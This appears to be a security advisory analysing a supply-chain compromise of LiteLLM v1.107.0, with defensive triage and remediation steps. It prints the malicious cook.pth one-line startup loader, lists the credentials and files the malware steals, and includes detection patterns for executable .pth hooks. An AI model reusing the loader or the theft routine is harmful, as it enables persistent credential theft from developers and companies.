LiteLLM v1.107.0 Supply-Chain Compromise: Stolen GitHub CLI Tokens, Typosquatted Forks & the cook.pth Python Startup RAT
Because LiteLLM serves as the central AI gateway and unified Python SDK for thousands of enterprise engineering teams—brokering API calls to OpenAI, Anthropic, Google Vertex AI, and AWS Bedrock—holding administrative access to a LiteLLM instance is equivalent to holding the master key ring to an organization’s AI and cloud infrastructure. Over the weekend, comprehensive post-incident forensics from LiteLLM (BerriAI) and Datadog Security Labs revealed the full technical anatomy of the LiteLLM v1.107.0 supply-chain attack: a surgical CI/CD hijack orchestrated with three stolen GitHub CLI OAuth tokens, a single-character typosquatted repository fork, and a devious Python .pth path-configuration hook (cook.pth) that executes malware the instant any Python command runs on the host.
Stage 1: How Three Stolen gh OAuth Tokens Defeated Branch & Deployment Controls
Unlike traditional PyPI compromises where a single maintainer’s PyPI API token is phished, LiteLLM’s publishing pipeline utilized GitHub Actions workflows gated by multi-user environment approvals. To bypass these controls without triggering immediate repository modification alerts on BerriAI/litellm, the attackers leveraged previously compromised GitHub CLI (gh) OAuth tokens belonging to three separate LiteLLM engineers:
- The Hyphenated Fork Trick (Token #1): The attacker staged the malicious payload inside a lookalike external fork named
Berri-AI/litellm(note the added hyphen inBerri-AI). Using Engineer Token #1, the attacker triggered the production release workflow on the legitimate repository while passing workflow inputs that fetched and built the artifact tree from the rogue fork. - Bypassing the Deployment Gate (Token #2): Because production publishing to PyPI and Docker Hub required a second reviewer’s approval on the GitHub Actions deployment environment, the attacker immediately authenticated with Engineer Token #2 to approve the pending release job at 11:39 UTC on October 21, 2026.
- Anti-Forensic Log Deletion (Token #3): Once the poisoned wheels (
litellm-1.107.0-py3-none-any.whland six platform builds) and container images (litellm/litellm:v1.107.0,latest,main-latest,main-stable) were pushed to PyPI, Docker Hub, and GitHub Container Registry (GHCR), Engineer Token #3 was used to delete the GitHub Actions workflow run logs to delay triage.
Stage 2: Inside cook.pth — Why Running pip uninstall Re-Triggers the Malware
The most dangerous aspect of the litellm==1.107.0 payload is how it achieves execution. Rather than hiding solely inside litellm/__init__.py (which would only run when an application imports litellm), the poisoned wheel drops two extra files directly into the root of Python’s site-packages/ directory: cook.pth and cook.py (alongside hooks in sitecustomize.py).
By design in CPython’s standard library (Lib/site.py), when the Python interpreter initializes—before executing any user script or CLI module—it scans every .pth file in site-packages/. If any line in a .pth file begins with the keyword import (followed by a space or tab), Python executes that line as arbitrary Python code automatically at startup:
# Contents of site-packages/cook.pth in litellm==1.107.0:
import os, sys; exec(open(os.path.join(os.path.dirname(__file__) if '__file__' in locals() else [p for p in sys.path if 'site-packages' in p][0], 'cook.py')).read())
pip to Triage!
Because pip, poetry, pytest, and uvicorn are themselves Python entrypoints that load site.py on startup, running pip list, pip show litellm, or pip uninstall litellm inside a compromised container or virtual environment immediately executes cook.pth again! Always inspect the filesystem using non-Python shell utilities (find, ls, grep) or invoke Python with the -S flag (python3 -S, which disables site.py).Stage 3: Credential Harvesting, Database Dumping & the Hourly C2 RAT
When cook.py executes, it performs a silent, multi-pronged theft and persistence routine across Linux and macOS environments:
- Environment & Cloud Secret Siphoning: Dumps
os.environto captureOPENAI_API_KEY,ANTHROPIC_API_KEY,GEMINI_API_KEY,AWS_SECRET_ACCESS_KEY,AZURE_CLIENT_SECRET,GITHUB_TOKEN, andLITELLM_MASTER_KEY. - Direct LiteLLM PostgreSQL Database Extraction: If
DATABASE_URLis present in the environment (standard on LiteLLM Proxy deployments), the script connects directly to the backend PostgreSQL database and queries theLiteLLM_VerificationToken,LiteLLM_Config, andLiteLLM_ModelTabletables to dump all stored virtual keys and downstream provider credentials. - Developer Workstation Pillaging: Harvests
~/.ssh/*private keys,~/.aws/credentials,~/.config/gcloud/,~/.gnupg/, shell history files, and local browser credential stores. - Detached Background RAT Daemon: Forks a double-detached background process that polls a dead-drop C2 endpoint once every 60 minutes to fetch and execute second-stage shell payloads.
Detection Telemetry & Safe Forensic Triage
#!/usr/bin/env bash
# SAFE TRIAGE: Does NOT invoke python or pip!
echo "[*] Scanning all filesystems and virtualenvs for malicious LiteLLM 1.107.0 artifacts..."
find / -path /proc -prune -o \( -name "cook.pth" -o -name "cook.py" -o -name "litellm-1.107.0*" \) -print 2>/dev/null
echo "[*] Auditing all .pth files in site-packages for executable 'import ' hooks..."
find / -name "*.pth" 2>/dev/null | xargs grep -n "^import[[:space:]]" 2>/dev/null
echo "[*] Checking Docker / containerd image layers pulled on Oct 21, 2026..."
docker images --digests | grep -E "litellm"Remediation & Recovery Playbook
- Destroy & Rebuild Tainted Environments: Any container, CI runner, or developer virtualenv that installed
litellm==1.107.0or pulled mutablelitellm/litellmDocker tags between 11:39 UTC and 14:20 UTC on October 21, 2026 must be terminated and rebuilt from scratch usinglitellm==1.106.2or a verified clean release (with SHA-256 digest pinning). - Rotate All Exposed Secrets & Master Keys: Immediately revoke and rotate your
LITELLM_MASTER_KEY, PostgreSQL database credentials, all downstream LLM API keys (OpenAI, Anthropic, Gemini, Bedrock), cloud IAM role keys, and developer SSH/GitHub tokens present on affected hosts. - Audit GitHub CLI (
gh) OAuth Grants: In your GitHub Enterprise organization settings, audit active OAuth tokens issued to the official GitHub CLI application, enforce short token lifetimes, and require hardware FIDO2 WebAuthn presence for workflow deployment approvals.
